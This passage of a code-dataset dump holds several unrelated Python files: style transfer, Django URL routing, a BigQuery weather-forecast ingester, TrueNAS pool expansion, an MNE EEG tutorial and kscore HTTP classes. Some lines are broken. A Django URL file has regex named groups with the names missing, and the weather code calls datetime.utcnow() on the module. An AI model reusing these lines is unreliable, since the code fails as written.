target_features = get_features(target, vgg)\n \n # the content loss\n content_loss = torch.mean((target_features['conv4_2'] - content_features['conv4_2'])**2)\n \n # the style loss\n # initialize the style loss to 0\n style_loss = 0\n # then add to it for each layer's gram matrix loss\n for layer in style_weights:\n # get the \"target\" style representation for the layer\n target_feature = target_features[layer]\n target_gram = gram_matrix(target_feature)\n _, d, h, w = target_feature.shape\n # get the \"style\" style representation\n style_gram = style_grams[layer]\n # the style loss for one layer, weighted appropriately\n layer_style_loss = style_weights[layer] * torch.mean((target_gram - style_gram)**2)\n # add to the style loss\n style_loss += layer_style_loss / (d * h * w)\n \n # calculate the *total* loss\n total_loss = content_weight * content_loss + style_weight * style_loss\n \n # update your target image\n optimizer.zero_grad()\n total_loss.backward()\n optimizer.step()\n\n# 最终的图像\nfinal = im_convert(target)\n# 存储\nmatplotlib.image.imsave('F:\\\\PyStyle\\\\Transfer-image-styling\\\\imgs\\\\cat_style.jpg', final)\n\nend = time.clock()\n\nprint(\"时间是:%d秒\"%(end-strt))\n","sub_path":"transfer.py","file_name":"transfer.py","file_ext":"py","file_size_in_byte":7113,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"509973883","text":"__author__ = 'lenovo'\r\n\r\n\"\"\"\r\n输入一个递增排序的数组和一个数字s,在数组中查找两个数,使其和为s\r\n设置头尾两个指针,和大于s,尾指针减小,否砸头指针增加\r\n\"\"\"\r\ndef solution(alist,target):\r\n left = 0\r\n right = len(alist) - 1\r\n while left < right:\r\n sum = alist[left] + alist[right]\r\n if sum < target:\r\n left += 1\r\n elif sum > target:\r\n right -= 1\r\n else :\r\n return alist[left],alist[right]\r\n\r\nif __name__ == '__main__':\r\n test = [-4, 0, 1, 2, 4, 6, 8, 10, 12, 15, 18]\r\n s = 12\r\n print (solution(test, s))","sub_path":"Python剑指Offer/042_和为S的两个数字/042.py","file_name":"042.py","file_ext":"py","file_size_in_byte":635,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"398811031","text":"\nfrom django.conf.urls.defaults import *\nfrom billing import get_integration\n\nurlpatterns = patterns('app.views',\n url(r'^$', 'index', name='app_index'),\n url(r'^authorize/$', 'authorize', name='app_authorize'),\n url(r'^paypal/$', 'paypal', name='app_paypal'),\n url(r'^eway/$', 'eway', name='app_eway'),\n)\n\n# offsite payments\nurlpatterns += patterns('app.views',\n url(r'offsite/paypal/$', 'offsite_paypal', name='app_offsite_paypal'),\n url(r'offsite/google-checkout/$', 'offsite_google_checkout', name='app_offsite_google_checkout'),\n url(r'offsite/world_pay/$', 'offsite_world_pay', name='app_offsite_world_pay'),\n)\n\npaypal = get_integration(\"pay_pal\")\n# paypal payment notification handler\nurlpatterns += patterns('',\n (r'^paypal-ipn-handler/', include(paypal.urls)),\n)\n\nurlpatterns += patterns('django.views.generic.simple',\n url(r'offsite/paypal/done/$', \n 'direct_to_template', \n {'template': 'app/payment_done.html'},\n name='app_offsite_paypal_done'),\n url(r'offsite/google-checkout/done/$', \n 'direct_to_template', \n {'template': 'app/payment_done.html'},\n name='app_offsite_google_checkout_done'),\n)\n","sub_path":"example/app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1180,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"555666360","text":"from django.conf.urls import url\nfrom . import views\napp_name = 'credit'\n\nurlpatterns =[\n # url(r'^$', views.credit, name='credit'),\n # url(r'^reyting/$', views.creditreyting, {'template_name : reyting.html'})\n url(r'^$', views.Listcredit, name='Listcreditrateinf'),\n url(r'^(?P[-\\w]+)/$', views.Listcredit, name='ListCreditViews'),\n url(r'^(?P\\d+)/(?P[-\\w]+)/$', views.DetailCredit, name='DetailCreditViews')\n\n]","sub_path":"credit/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":452,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"284114919","text":"\"\"\"andapp URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/1.8/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls'))\n\"\"\"\nfrom django.conf.urls import include, url\nfrom django.conf.urls.static import static\nfrom django.conf import settings\nfrom django.contrib import admin\nfrom webapp.views import comment, message_user, message_customer, friend_delete, friend_add, busket, busket_delete, dream, dream_delete, like, logout, check_user, insert_user, index_main_content, index_customer_main, index_main, index_registration, index_search, index_profile, index_busket, index_dream, index_store, index_about, customer_main, customer_profile, customer_goods, customer_messages, customer_statistics, customer_main_content, customer_main_content_edit, insert_customer, check_customer, insert_product, update_product\n\nurlpatterns = [\n url(r'^admin/', include(admin.site.urls)),\n url(r'^$', index_main),\n url(r'^index_main/$', index_main),\n url(r'^registration/$', index_registration),\n url(r'^search/$', index_search),\n url(r'^logout/$', logout),\n\n url(r'^index_main_content/$', index_main_content),\n url(r'^index_customer_main/$', index_customer_main),\n url(r'^profile/$', index_profile),\n url(r'^basket/$', index_busket), \n url(r'^dream/$', index_dream),\n url(r'^store/$', index_store), \n url(r'^about/$', index_about), \n url(r'^insert_user/$', insert_user),\n url(r'^check_user/$', check_user),\n url(r'^like/$', like),\n url(r'^dream_insert/$', dream),\n url(r'^dream_delete/$', dream_delete),\n url(r'^busket/$', busket), \n url(r'^busket_delete/$', busket_delete),\n url(r'^friend_add/$', friend_add),\n url(r'^friend_delete/$', friend_delete), \n url(r'^message_user/$', message_user),\n url(r'^message_customer/$', message_customer),\n url(r'^comment/$', comment), \n \n \n\n url(r'^customer_main/$', customer_main),\n url(r'^customer_profile/$', customer_profile),\n url(r'^customer_goods/$', customer_goods),\n url(r'^customer_messages/$', customer_messages),\n url(r'^customer_statistics/$', customer_statistics),\n \n url(r'^insert_customer/$', insert_customer),\n url(r'^check_customer/$', check_customer),\n url(r'^update_product/$', update_product),\n url(r'^insert_product/$', insert_product),\n\n url(r'^customer_main_content/$', customer_main_content),\n url(r'^customer_main_content_edit/$', customer_main_content_edit),\n\n] + static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n","sub_path":"andapp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2935,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"516290640","text":"import os\nimport json\nfrom google.cloud import bigquery\nfrom google.cloud import error_reporting\nfrom google.api_core import retry\nfrom google.cloud import firestore\nfrom xml.etree import ElementTree\nimport traceback\nimport logging\nimport requests\nimport datetime\nimport pytz\nimport pandas as pd\nimport dateutil\n\nPROJECT_ID = os.getenv(\"GCP_PROJECT\")\nBQ_DATASET = 'vta_vs'\nBQ_TABLE = 'weather_forecast'\nBQ = bigquery.Client()\nDB = firestore.Client()\nclient = error_reporting.Client()\n\n\ndef weather(request):\n \"\"\"\n Responds to a request from Cloud Scheduler. When invoked, gets the weather forecast\n for the (constant) list of lat/long combinations and stores the result in a BigQuery table.\n :param request:\n :return: None\n \"\"\"\n\n # get the forecast\n lat_lon_str_escaped = os.getenv(\"LAT_LON_STR\")\n forecast_url = (\n \"\"\"https://graphical.weather.gov/xml/sample_products/browser_interface/ndfdXMLclient.php?\"\"\"\n \"\"\"whichClient=NDFDgenLatLonList\"\"\"\n \"\"\"&listLatLon={}\"\"\"\n \"\"\"&product=time-series\"\"\"\n \"\"\"&Unit=m\"\"\"\n \"\"\"&temp=temp\"\"\"\n \"\"\"&pop12=pop12\"\"\"\n \"\"\"&Submit=Submit\"\"\").format(lat_lon_str_escaped)\n response = requests.get(forecast_url)\n if response.status_code == 200:\n logging.info(\"Downloaded forecast.\")\n response_xml = ElementTree.fromstring(response.content)\n forecast_time = response_xml.find('head').find('product').find('creation-date').text\n else:\n logging.error(\"Non-success return code from NDFD request\")\n raise RuntimeError('Non-success return code from NDFD request')\n\n # see if we have already seen this record\n logging.info(\"Checking for duplicates.\")\n db_ref = DB.document(u'weather_forecasts/%s' % forecast_time)\n if _was_already_ingested(db_ref):\n logging.warning('Duplication attempt streaming file \\'%s\\'' % db_ref.id)\n return\n else:\n try:\n logging.info(\"Inserting into BigQuery.\")\n _insert_into_bigquery(response_xml, forecast_time)\n _handle_success(db_ref)\n except Exception:\n logging.error(\"Could not insert into BigQuery\")\n _handle_error(db_ref)\n\n\ndef _was_already_ingested(db_ref):\n status = db_ref.get()\n return status.exists and status.to_dict()['success']\n\n\ndef _now():\n return datetime.utcnow().replace(tzinfo=pytz.utc).strftime('%Y-%m-%d %H:%M:%S %Z')\n\n\ndef _handle_success(db_ref):\n message = 'Forecast \\'%s\\' streamed into BigQuery' % db_ref.id\n doc = {\n u'success': True,\n u'when': _now()\n }\n db_ref.set(doc)\n logging.info(message)\n\n\ndef _handle_error(db_ref):\n message = 'Error streaming forecast \\'%s\\'. Cause: %s' % (db_ref.id, traceback.format_exc())\n doc = {\n u'success': False,\n u'error_message': message,\n u'when': _now()\n }\n db_ref.set(doc)\n logging.error(message)\n\n\ndef _insert_into_bigquery(weather_xml, forecast_time):\n\n tree = weather_xml.find('data')\n time_layouts_df = pd.DataFrame()\n logging.info(\"Processing time\")\n for time_layout in tree.findall('time-layout'):\n time_layouts = []\n time_layout_key = time_layout.find('layout-key').text\n for index, start_time in enumerate(time_layout.findall('start-valid-time')):\n time_layouts.append({'time_layout': time_layout_key,\n 'time_index': index,\n 'time': dateutil.parser.parse(start_time.text)})\n time_layouts_df = pd.concat([time_layouts_df, pd.DataFrame(time_layouts)])\n\n logging.info(\"Processing parameters\")\n parameters_df = pd.DataFrame()\n for parameter in tree.findall('parameters'):\n point_name = parameter.attrib['applicable-location']\n for observation in parameter:\n observations = []\n units = observation.attrib['units']\n time_layout = observation.attrib['time-layout']\n observation_name = \"{} ({})\".format(observation.find('name').text, units)\n for time_index, value in enumerate(observation.findall('value')):\n observations.append({\"point_name\": point_name,\n \"time_layout\": time_layout,\n \"time_index\": time_index,\n observation_name: value.text\n })\n observation_df = pd.DataFrame(observations)\n observation_df = observation_df.merge(time_layouts_df)\n observation_df.drop([\"time_layout\", \"time_index\"], axis=1, inplace=True)\n observation_df = observation_df.set_index(\"time\").resample(\"H\").first().ffill()\n parameters_df = pd.concat([parameters_df, observation_df])\n parameters_df = parameters_df.groupby(['point_name', 'time']).last().reset_index().dropna()\n parameters_df['time'] = parameters_df.time.apply(lambda x: x.astimezone('UTC'))\n parameters_df['forecast_time'] = forecast_time\n parameters_df['temperature_c'] = parameters_df['Temperature (Celsius)']\n parameters_df['pop12'] = parameters_df['12 Hourly Probability of Precipitation (percent)']\n\n logging.info(\"Converting rows to json\")\n rows = json.loads(parameters_df[[\n 'point_name',\n 'time',\n 'forecast_time',\n 'temperature_c',\n 'pop12'\n ]].to_json(orient='records'))\n row_ids = [forecast_time]\n table = BQ.dataset(BQ_DATASET).table(BQ_TABLE)\n logging.info(\"Starting insert into BigQuery\")\n errors = BQ.insert_rows_json(table,\n json_rows=rows,\n row_ids=row_ids,\n retry=retry.Retry(deadline=30))\n if errors:\n logging.error(errors)\n raise BigQueryError(errors)\n\n\nclass BigQueryError(Exception):\n '''Exception raised whenever a BigQuery error happened'''\n\n def __init__(self, errors):\n super().__init__(self._format(errors))\n self.errors = errors\n\n def _format(self, errors):\n err = []\n for error in errors:\n err.extend(error['errors'])\n return json.dumps(err)\n","sub_path":"functions/weather/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6174,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"614011206","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution:\n def sortedArrayToBST(self, nums: List[int]) -> TreeNode:\n if not nums:\n return None\n if len(nums) == 1:\n return TreeNode(nums[0])\n head = nums[(len(nums)-1)//2]\n left = [token for token in nums if token < head]\n right = [token for token in nums if token > head]\n head_node = TreeNode(head)\n head_node.left = self.sortedArrayToBST(left)\n head_node.right = self.sortedArrayToBST(right)\n return head_node\n","sub_path":"数据结构与算法/刷题/二叉树(搞定)/将有序数组转换为平衡二叉搜索树.py","file_name":"将有序数组转换为平衡二叉搜索树.py","file_ext":"py","file_size_in_byte":670,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"291362660","text":"import logging\nimport os\nimport shutil\nimport subprocess\n\nfrom middlewared.job import Pipes\nfrom middlewared.service import CallError, item_method, job, Service\nfrom middlewared.schema import accepts, Dict, Int, Str\nfrom middlewared.utils import osc, run\nfrom middlewared.utils.shell import join_commandline\n\n\nlogger = logging.getLogger(__name__)\n\n# platform specific imports\nif osc.IS_FREEBSD:\n import sysctl\n\n\nclass PoolService(Service):\n\n @item_method\n @accepts(\n Int('id'),\n Dict(\n 'options',\n Dict(\n 'geli',\n Str('passphrase', private=True, default=''),\n ),\n )\n )\n @job(lock='pool_expand')\n async def expand(self, job, id, options):\n \"\"\"\n Expand pool to fit all available disk space.\n \"\"\"\n pool = await self.middleware.call('pool.get_instance', id)\n if osc.IS_LINUX:\n if options.get('passphrase'):\n raise CallError('Passphrase should not be supplied for this platform.')\n # FIXME: We have issues in ZoL where when pool is created with partition uuids, we are unable\n # to expand pool where all pool related options error out saying I/O error\n # https://github.com/zfsonlinux/zfs/issues/9830\n raise CallError('Expand is not supported on this platform yet because of underlying ZFS issues.')\n else:\n if pool['encrypt']:\n if not pool['is_decrypted']:\n raise CallError('You can only expand decrypted pool')\n\n for error in (\n await self.middleware.call('pool.pool_lock_pre_check', pool, options['geli']['passphrase'])\n ).errors:\n raise CallError(error.errmsg)\n\n all_partitions = {p['name']: p for p in await self.middleware.call('disk.list_all_partitions')}\n\n try:\n if osc.IS_FREEBSD:\n sysctl.filter('kern.geom.debugflags')[0].value = 16\n geli_resize = []\n try:\n for vdev in sum(pool['topology'].values(), []):\n if vdev['type'] != 'DISK':\n logger.debug('Not expanding vdev of type %r', vdev['type'])\n continue\n\n if vdev['status'] != 'ONLINE':\n logger.debug('Not expanding vdev that is %r', vdev['status'])\n continue\n\n part_data = all_partitions.get(vdev['device'])\n if not part_data:\n logger.debug('Unable to find partition data for %s', vdev['device'])\n\n partition_number = part_data['partition_number']\n if not partition_number:\n logger.debug('Could not parse partition number from %r', vdev['device'])\n continue\n\n assert part_data['disk'] == vdev['disk']\n\n if osc.IS_LINUX:\n await run(\n 'sgdisk', '-d', str(partition_number), '-n', f'{partition_number}:0:0',\n '-c', '2:', '-u', f'{partition_number}:{part_data[\"partition_uuid\"]}',\n '-t', f'{partition_number}:BF01', part_data['path']\n )\n await run('partprobe', os.path.join('/dev', part_data['disk']))\n else:\n await run('camcontrol', 'reprobe', vdev['disk'])\n await run('gpart', 'recover', vdev['disk'])\n await run('gpart', 'resize', '-i', str(partition_number), vdev['disk'])\n\n if osc.IS_FREEBSD and pool['encrypt']:\n geli_resize_cmd = (\n 'geli', 'resize', '-s', str(part_data['size']), vdev['device']\n )\n rollback_cmd = (\n 'gpart', 'resize', '-i', str(partition_number), '-s', str(part_data['size']), vdev['disk']\n )\n\n logger.warning('It will be obligatory to notify GELI that the provider has been resized: %r',\n join_commandline(geli_resize_cmd))\n logger.warning('Or to resize provider back: %r',\n join_commandline(rollback_cmd))\n geli_resize.append((geli_resize_cmd, rollback_cmd))\n finally:\n if osc.IS_FREEBSD and geli_resize:\n await self.__geli_resize(pool, geli_resize, options)\n finally:\n if osc.IS_FREEBSD:\n sysctl.filter('kern.geom.debugflags')[0].value = 0\n\n for vdev in sum(pool['topology'].values(), []):\n if vdev['type'] != 'DISK' or vdev['status'] != 'ONLINE':\n continue\n\n await self.middleware.call('zfs.pool.online', pool['name'], vdev['guid'], True)\n\n async def __geli_resize(self, pool, geli_resize, options):\n failed_rollback = []\n\n lock_job = await self.middleware.call('pool.lock', pool['id'], options['geli']['passphrase'])\n await lock_job.wait()\n if lock_job.error:\n logger.warning('Error locking pool: %s', lock_job.error)\n\n for geli_resize_cmd, rollback_cmd in geli_resize:\n if not await self.__run_rollback_cmd(rollback_cmd):\n failed_rollback.append(rollback_cmd)\n\n if failed_rollback:\n raise CallError(\n 'Locking your encrypted pool failed and rolling back changes failed too. '\n f'You\\'ll need to run the following commands manually:\\n%s' % '\\n'.join(\n map(join_commandline, failed_rollback)\n )\n )\n else:\n for geli_resize_cmd, rollback_cmd in geli_resize:\n try:\n await run(*geli_resize_cmd, encoding='utf-8', errors='ignore')\n except subprocess.CalledProcessError as geli_resize_error:\n if geli_resize_error.stderr.strip() == 'geli: Size hasn\\'t changed.':\n logger.info(\n '%s: %s', join_commandline(geli_resize_cmd), geli_resize_error.stderr.strip()\n )\n else:\n logger.error(\n '%r failed: %s. Resizing partition back', join_commandline(geli_resize_cmd),\n geli_resize_error.stderr.strip()\n )\n if not await self.__run_rollback_cmd(rollback_cmd):\n failed_rollback.append(rollback_cmd)\n\n if failed_rollback:\n raise CallError(\n 'Resizing partitions of your encrypted pool failed and rolling back '\n 'changes failed too. You\\'ll need to run the following commands manually:\\n%s' %\n '\\n'.join(map(join_commandline, failed_rollback))\n )\n\n if options['geli']['passphrase']:\n unlock_job = await self.middleware.call(\n 'pool.unlock', pool['id'], {'passphrase': options['geli']['passphrase']}\n )\n else:\n unlock_job = await self.middleware.call(\n 'pool.unlock', pool['id'], {'recoverykey': True},\n pipes=Pipes(input=self.middleware.pipe())\n )\n\n def copy():\n with open(pool['encryptkey_path'], 'rb') as f:\n shutil.copyfileobj(f, unlock_job.pipes.input.w)\n\n try:\n await self.middleware.run_in_thread(copy)\n finally:\n await self.middleware.run_in_thread(unlock_job.pipes.input.w.close)\n\n await unlock_job.wait()\n if unlock_job.error:\n raise CallError(unlock_job.error)\n\n @staticmethod\n async def __run_rollback_cmd(rollback_cmd):\n try:\n await run(*rollback_cmd, encoding='utf-8', errors='ignore')\n except subprocess.CalledProcessError as rollback_error:\n logger.critical(\n '%r failed: %s. To restore your pool functionality you will have to run this command manually.',\n join_commandline(rollback_cmd),\n rollback_error.stderr.strip()\n )\n return False\n else:\n return True\n","sub_path":"src/middlewared/middlewared/plugins/pool_/expand.py","file_name":"expand.py","file_ext":"py","file_size_in_byte":8588,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"124486028","text":"# -*- coding: utf-8 -*-\n\"\"\"\n.. _tut-eeg-fsaverage-source-modeling:\n\nEEG forward operator with a template MRI\n========================================\n\nThis tutorial explains how to compute the forward operator from EEG data\nusing the standard template MRI subject ``fsaverage``.\n\n.. caution:: Source reconstruction without an individual T1 MRI from the\n subject will be less accurate. Do not over interpret\n activity locations which can be off by multiple centimeters.\n\n.. contents:: This tutorial covers:\n :local:\n :depth: 2\n\n\"\"\"\n# Authors: Alexandre Gramfort \n# Joan Massich \n#\n# License: BSD Style.\n\nimport os.path as op\n\nimport mne\nfrom mne.datasets import eegbci\nfrom mne.datasets import fetch_fsaverage\n\n# Download fsaverage files\nfs_dir = fetch_fsaverage(verbose=True)\nsubjects_dir = op.dirname(fs_dir)\n\n# The files live in:\nsubject = 'fsaverage'\ntrans = 'fsaverage' # MNE has a built-in fsaverage transformation\nsrc = op.join(fs_dir, 'bem', 'fsaverage-ico-5-src.fif')\nbem = op.join(fs_dir, 'bem', 'fsaverage-5120-5120-5120-bem-sol.fif')\n\n##############################################################################\n# Load the data\n# -------------\n#\n# We use here EEG data from the BCI dataset.\n#\n# .. note:: See :ref:`plot_montage` to view all the standard EEG montages\n# available in MNE-Python.\n\nraw_fname, = eegbci.load_data(subject=1, runs=[6])\nraw = mne.io.read_raw_edf(raw_fname, preload=True)\n\n# Clean channel names to be able to use a standard 1005 montage\nnew_names = dict(\n (ch_name,\n ch_name.rstrip('.').upper().replace('Z', 'z').replace('FP', 'Fp'))\n for ch_name in raw.ch_names)\nraw.rename_channels(new_names)\n\n# Read and set the EEG electrode locations\nmontage = mne.channels.make_standard_montage('standard_1005')\n\nraw.set_montage(montage)\nraw.set_eeg_reference(projection=True) # needed for inverse modeling\n\n# Check that the locations of EEG electrodes is correct with respect to MRI\nmne.viz.plot_alignment(\n raw.info, src=src, eeg=['original', 'projected'], trans=trans,\n show_axes=True, mri_fiducials=True, dig='fiducials')\n\n##############################################################################\n# Setup source space and compute forward\n# --------------------------------------\n\nfwd = mne.make_forward_solution(raw.info, trans=trans, src=src,\n bem=bem, eeg=True, mindist=5.0, n_jobs=1)\nprint(fwd)\n\n# for illustration purposes use fwd to compute the sensitivity map\neeg_map = mne.sensitivity_map(fwd, ch_type='eeg', mode='fixed')\neeg_map.plot(time_label='EEG sensitivity', subjects_dir=subjects_dir,\n clim=dict(lims=[5, 50, 100]))\n","sub_path":"0.21/_downloads/41f4872bb7e7ad4ec492ad557209d3d7/plot_eeg_no_mri.py","file_name":"plot_eeg_no_mri.py","file_ext":"py","file_size_in_byte":2723,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"280440163","text":"\"\"\"\nDefinition of urls for AvalFrameWeb.\n\"\"\"\n\nfrom datetime import datetime\nfrom django.conf.urls import url\nimport django.contrib.auth.views\nfrom django.conf.urls import include\n\nimport app.forms\nfrom app.views import home\nfrom app.views import analise_dados\n\n# Uncomment the next lines to enable the admin:\n# from django.conf.urls import include\n# from django.contrib import admin\n# admin.autodiscover()\n\nurlpatterns = [\n # Examples:\n #url(r'^analise_dados/', include('app.urls.analise_dados.urls')),\n url(r'^$', home.home, name='home'),\n url(r'^competencias/', include('app.urls.competencias.urls')),\n url(r'^niveis_competencia_avaliacao/', include('app.urls.niveis_competencia_avaliacao.urls')),\n url(r'^aprendizagens/', include('app.urls.aprendizagens.urls')),\n url(r'^niveis_aprendizagem/', include('app.urls.niveis_aprendizagem.urls')),\n url(r'^jogos_digitais/', include('app.urls.jogos_digitais.urls')),\n url(r'^niveis_jogo/', include('app.urls.niveis_jogo.urls')),\n url(r'^aeej/', include('app.urls.aeej.urls')),\n url(r'^dispositivos_captura/', include('app.urls.dispositivos_captura.urls')),\n url(r'^jogadores/', include('app.urls.jogadores.urls')),\n url(r'^aprendizagens_aeej/', include('app.urls.aprendizagens_aeej.urls')),\n url(r'^competencias_aprendizagens/', include('app.urls.competencias_aprendizagens.urls')),\n url(r'^etapas_jogo/', include('app.urls.etapas_jogo.urls')),\n url(r'^fases_jogo/', include('app.urls.fases_jogo.urls')),\n \n \n url(r'^carga_aprendizagens/', include('app.urls.carga_aprendizagens.urls')),\n \n url(r'^geracao_relatorio/', include('app.urls.geracao_relatorio.urls')),\n \n \n\n #url(r'^login/$',\n # django.contrib.auth.views.login,\n # {\n # 'template_name': 'app/login.html',\n # 'authentication_form': app.forms.BootstrapAuthenticationForm,\n # 'extra_context':\n # {\n # 'title': 'Log in',\n # 'year': datetime.now().year,\n # }\n # },\n # name='login'),\n #url(r'^logout$',\n # django.contrib.auth.views.logout,\n # {\n # 'next_page': '/',\n # },\n # name='logout'),\n\n # Uncomment the admin/doc line below to enable admin documentation:\n # url(r'^admin/doc/', include('django.contrib.admindocs.urls')),\n\n # Uncomment the next line to enable the admin:\n # url(r'^admin/', include(admin.site.urls)),\n]\n","sub_path":"AvalFrameWeb/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2447,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"582642831","text":"\"\"\"\nGeneral purpose helper functions.\n\"\"\"\nimport os\nfrom configparser import RawConfigParser\nfrom pathlib import Path\nfrom timeit import default_timer as timer\n\n\ndef get_config():\n \"\"\"\n Looks for a config file using the APP_ENV environment\n variable and reads in the configuration as a dict.\n :return: dict(cfg dict, root, cfg_path)\n \"\"\"\n # set root directory for the app (this directory, that is)\n root = Path.cwd()\n\n # setup configuration file path using the APP_ENV environment variable\n cfg_path = root / 'config' / '{}.ini'.format(os.environ.get('APP_ENV'))\n cfg_parser = RawConfigParser()\n\n # read .ini file for the appropriate app setup (dev, prod or test)\n cfg_parser.read(cfg_path)\n\n # create a dict with the config\n cfg_dict = {x: dict(cfg_parser.items(x)) for x in cfg_parser.sections()}\n return {\"cfg\": cfg_dict, \"root\": root, \"cfg_path\": cfg_path}\n\n\ndef time_func_perf(func, func_args=None, func_kwargs=None) -> float:\n \"\"\"\n Return the time elapsed between start and end, calling a func in\n between them.\n :param func: function to be called\n :param func_args: arguments to be passed to the function\n :param func_kwargs: keyword arguments to passed to the function\n :return: time in fractional seconds\n \"\"\"\n if func_args and func_kwargs:\n start = timer()\n func(*func_args, **func_kwargs)\n stop = timer()\n return stop - start\n\n if func_args and not func_kwargs:\n start = timer()\n func(*func_args)\n stop = timer()\n return stop - start\n\n if func_kwargs and not func_args:\n start = timer()\n func(**func_kwargs)\n stop = timer()\n return stop - start\n\n if not func_args and not func_kwargs:\n start = timer()\n func()\n stop = timer()\n return stop - start\n","sub_path":"helpers/general.py","file_name":"general.py","file_ext":"py","file_size_in_byte":1851,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"209043014","text":"# Copyright (c) 2012-2013 LiuYC https://github.com/liuyichen/\n# Copyright 2012-2014 ksyun.com, Inc. or its affiliates. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"). You\n# may not use this file except in compliance with the License. A copy of\n# the License is located at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# or in the \"license\" file accompanying this file. This file is\n# distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF\n# ANY KIND, either express or implied. See the License for the specific\n# language governing permissions and limitations under the License.\nimport base64\nimport datetime\nfrom hashlib import sha256\nfrom hashlib import sha1\nimport hmac\nimport logging\nfrom email.utils import formatdate\nfrom operator import itemgetter\nimport functools\nimport time\nimport calendar\n\nfrom kscore.exceptions import NoCredentialsError\nfrom kscore.utils import normalize_url_path, percent_encode_sequence\nfrom kscore.compat import HTTPHeaders\nfrom kscore.compat import quote, unquote, urlsplit, parse_qs\nfrom kscore.compat import urlunsplit\nfrom kscore.compat import json\nfrom collections import namedtuple\n\n\nimport sys\nimport logging\nimport select\nimport functools\nimport socket\nimport inspect\n\nfrom kscore.compat import six\nfrom kscore.compat import HTTPHeaders, HTTPResponse, urlunsplit, urlsplit\nfrom kscore.exceptions import UnseekableStreamError\nfrom kscore.utils import percent_encode_sequence\nfrom kscore.vendored.requests import models\nfrom kscore.vendored.requests.sessions import REDIRECT_STATI\nfrom kscore.vendored.requests.packages.urllib3.connection import \\\n VerifiedHTTPSConnection\nfrom kscore.vendored.requests.packages.urllib3.connection import \\\n HTTPConnection\nfrom kscore.vendored.requests.packages.urllib3.connectionpool import \\\n HTTPConnectionPool\nfrom kscore.vendored.requests.packages.urllib3.connectionpool import \\\n HTTPSConnectionPool\n\n\nlogger = logging.getLogger(__name__)\n\n\nclass KSHTTPResponse(HTTPResponse):\n # The *args, **kwargs is used because the args are slightly\n # different in py2.6 than in py2.7/py3.\n def __init__(self, *args, **kwargs):\n self._status_tuple = kwargs.pop('status_tuple')\n HTTPResponse.__init__(self, *args, **kwargs)\n\n def _read_status(self):\n if self._status_tuple is not None:\n status_tuple = self._status_tuple\n self._status_tuple = None\n return status_tuple\n else:\n return HTTPResponse._read_status(self)\n\n\nclass KSHTTPConnection(HTTPConnection):\n \"\"\"HTTPConnection that supports Expect 100-continue.\n\n This is conceptually a subclass of httplib.HTTPConnection (though\n technically we subclass from urllib3, which subclasses\n httplib.HTTPConnection) and we only override this class to support Expect\n 100-continue, which we need for S3. As far as I can tell, this is\n general purpose enough to not be specific to S3, but I'm being\n tentative and keeping it in kscore because I've only tested\n this against KSYUN services.\n\n \"\"\"\n def __init__(self, *args, **kwargs):\n HTTPConnection.__init__(self, *args, **kwargs)\n self._original_response_cls = self.response_class\n # We'd ideally hook into httplib's states, but they're all\n # __mangled_vars so we use our own state var. This variable is set\n # when we receive an early response from the server. If this value is\n # set to True, any calls to send() are noops. This value is reset to\n # false every time _send_request is called. This is to workaround the\n # fact that py2.6 (and only py2.6) has a separate send() call for the\n # body in _send_request, as opposed to endheaders(), which is where the\n # body is sent in all versions > 2.6.\n self._response_received = False\n self._expect_header_set = False\n\n def close(self):\n HTTPConnection.close(self)\n # Reset all of our instance state we were tracking.\n self._response_received = False\n self._expect_header_set = False\n self.response_class = self._original_response_cls\n\n def _tunnel(self):\n # Works around a bug in py26 which is fixed in later versions of\n # python. Bug involves hitting an infinite loop if readline() returns\n # nothing as opposed to just ``\\r\\n``.\n # As much as I don't like having if py2: code blocks, this seems\n # the cleanest way to handle this workaround. Fortunately, the\n # difference from py26 to py3 is very minimal. We're essentially\n # just overriding the while loop.\n if sys.version_info[:2] != (2, 6):\n return HTTPConnection._tunnel(self)\n\n # Otherwise we workaround the issue.\n self._set_hostport(self._tunnel_host, self._tunnel_port)\n self.send(\"CONNECT %s:%d HTTP/1.0\\r\\n\" % (self.host, self.port))\n for header, value in self._tunnel_headers.iteritems():\n self.send(\"%s: %s\\r\\n\" % (header, value))\n self.send(\"\\r\\n\")\n response = self.response_class(self.sock, strict=self.strict,\n method=self._method)\n (version, code, message) = response._read_status()\n\n if code != 200:\n self.close()\n raise socket.error(\"Tunnel connection failed: %d %s\" %\n (code, message.strip()))\n while True:\n line = response.fp.readline()\n if not line:\n break\n if line in 